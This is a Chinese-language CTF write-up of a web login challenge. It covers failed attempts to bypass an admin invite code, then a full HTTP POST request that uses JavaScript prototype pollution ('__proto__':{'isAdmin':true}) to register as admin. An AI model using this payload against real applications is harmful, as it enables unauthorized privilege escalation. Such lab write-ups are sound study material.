本文最后更新于 387 天前,其中的信息可能已经有所发展或是发生改变。
0x01 打开场景:
是一个登录框,题目提示不需要爆破
0x02 先通过Sign in下面的“go _register”链接注册一个账号
0x03 使用注册好的账号登录进去,页面直接回显了一个Flag,CatCTF{no_fl4g_4_u_6ut_you_h@ve_w1fe},但是提交这个Flag确是错误的,回到注册页面再勾选“is admin”重新注册一个账号
0x04 is admin 的注册需要一个邀请码,此时我有几种思路,这个邀请码会不会藏在页面源码中,尝试翻找后,无果,又猜想这个邀请码是不是藏在数据包中,通过修改返回包,和尝试将inviteCode修改为null,但都不行
这道题的关键应该就是要解决这个invite Code
0x05 我又想在不勾选“is admin”的注册页面中,尝试将is admin 的判断字段false 改为true 看是否能直接注册为admin,结果还是不行
0x06 我又在想,这个检验邀请码是否在前端进行验证的,前端在勾选 “is admin”那好像是有一个检查的函数,但是我删除掉那个函数仍然没有效果
在页面源代码中找到对应的js代码:
function register(username, password, inviteCode, isAdmin){
let user = {username, password, isAdmin}
if(isAdmin){
if(!inviteCode){
alert('invite code required')
return
}
user = {...user, inviteCode}
}
fetch('/register', {
method: 'post',
body: JSON.stringify(user)
})
.then(res => res.json())
.then(res => {
alert(res.msg)
if(!res.err){
location.href = '/login'
}
})
}
function handle_isAdmin_change(isAdmin){
document.getElementById('div-invitecode').hidden = !isAdmin
}
这段 JavaScript 代码定义了两个函数:register 和 handle_isAdmin_change。
register 函数接受四个参数:username、password、inviteCode 和 isAdmin。根据 isAdmin 的值,它创建一个包含 username、password 和 isAdmin 的用户对象。如果 isAdmin 为 true,则检查是否提供了 inviteCode。如果没有提供 inviteCode,则显示一个警告信息并返回,不继续执行后续操作。否则,将 inviteCode 添加到用户对象中。然后,使用 fetch 函数向 /register 路径发起 POST 请求,将用户对象转换为 JSON 字符串并作为请求的主体发送。然后,解析响应为 JSON 格式,并显示响应中的消息。如果响应中没有错误 (!res.err),则将页面重定向到 /login 路径。
handle_isAdmin_change 函数接受一个参数 isAdmin,它根据 isAdmin 的值来控制 id 为 div-invitecode 的元素的显示。如果 isAdmin 为 true,则显示该元素,否则隐藏该元素。
因此,这段代码用于处理用户注册操作,根据用户是否为管理员来决定是否需要邀请码,并根据用户界面的变化来控制是否显示邀请码输入框。
但是并没有说明哪里来的邀请码
0x07 思路已经油尽灯枯,看看wp
看了wp后,说这题考的是Javascript的原链污染,在注册请求的字段中加入__proto__,并将isAdmin的false改为true,可以直接污染,成功注册管理员账号,具体的Javascript的原链污染原理呢,本身不太懂Java开发,也只能这样了
POST /register HTTP/1.1
Host: 61.147.171.105:56794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:56794/register.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 57
Origin: http://61.147.171.105:56794
Connection: close
{"username":"222222","password":"222222",
"__proto__":{
"isAdmin":true
}
}
0x08 用注册成功的管理员账号登入后也是成功拿到flag,你拿到了flag,所以你没有老婆,嘤嘤嘤~